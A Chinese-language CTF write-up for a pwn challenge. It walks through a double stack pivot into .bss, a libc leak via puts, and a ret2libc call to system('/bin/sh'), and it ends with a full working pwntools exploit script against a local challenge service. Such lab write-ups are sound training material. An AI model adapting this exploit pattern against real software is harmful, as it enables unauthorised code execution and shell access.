一次的栈迁移似乎不够用了,你要怎样才能再次迁移呢?如何布局栈才能拿到这一题的 flag 呢?这一次,你需要把前面的知识融会贯通,才能在这一题成功。加油!

主要逻辑在 vuln() 中

ssize_t vuln()
{
  _BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

  puts("This time I will not give you any gifts again.");
  puts(aASingleStackPi);
  puts("Think back to what you learned from the previous challenges and integrate it comprehensively.");
  puts("You have made it this far—keep going, victory is not far away.");
  printf("> ");
  return read(0, buf, 0x50u);
}

依旧是只给了能覆盖到返回地址的溢出空间,并且该题需要调用 libc 中的函数

选择在第一次调用 read() 时进行栈迁移,第二次调用 read() 进行 libc 基地址泄露,而后再调用一次 read() 执行 system() ,所以在第一次调用 read() 时

payload_1 = b'a'*0x40 + p64(bss + 0x800) + p64(read_addr)

第一次调用 read() 后需要写入的数据

payload_2 = flat(
    bss + 0x1600,
    pop_rdi,
    exe.got['puts'],
    exe.symbols['puts'],
    read_addr,
    b'a' *0x18,
    bss + 0x800 - 0x40,
    leave
)

此时 bss 段上的数据如下

image.png

捋一下就是,在 payload_1 执行后,rbp 会指向 bss+0x800,rip 会再次执行下面的 leave,之后 rip 就会执行 pop rdi 泄露 libc 地址了,最后会再次调用到 read() 进行二次迁移

如果上面的过程熟悉了,那二次迁移就很好理解了

payload_3 = flat(
        0xdeadbeff,
        pop_rdi,
        bin_sh,
        ret,
        system_addr,
        b'a'*0x18,
        bss + 0x1600 - 0x40,
        leave
)

就是标准的 ret2libc 的流程,0xdeadbeef 可以随便改

最后的 Exp

from pwn import *
context(arch='amd64', os='linux', log_level='info')

exe = ELF("pwn_patched")
libc = ELF("libc.so.6")

# p = process('./pwn_patched')
# p = gdb.debug('./pwn_patched')
p = remote('127.0.0.1', 55005)

bss = 0x4040a0
read_addr = 0x401264
p.recvuntil(b'> ')
payload_1 = b'a'*0x40 + p64(bss + 0x800) + p64(read_addr)
p.send(payload_1)

pop_rdi = 0x40119e
leave = 0x40127b
payload_2 = flat(
    bss + 0x1600,
    pop_rdi,
    exe.got['puts'],
    exe.symbols['puts'],
    read_addr,
    b'a' *0x18,
    bss + 0x800 - 0x40,
    leave
)
p.send(payload_2)

puts_addr = p.recvn(6)
puts_addr = int.from_bytes(puts_addr, 'little')
log.success('get puts_addr --> ' + hex(puts_addr))
libc.address = puts_addr - libc.symbols['puts']
log.success('get libc.address --> ' + hex(libc.address))

ret = 0x4012ae
system_addr = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh\x00'))
payload_3 = flat(
        0xdeadbeff,
        pop_rdi,
        bin_sh,
        ret,
        system_addr,
        b'a'*0x18,
        bss + 0x1600 - 0x40,
        leave
)
p.send(payload_3)
p.interactive()

获取 flag

b7b86ff5c691b6be52360b3770cd6a01.png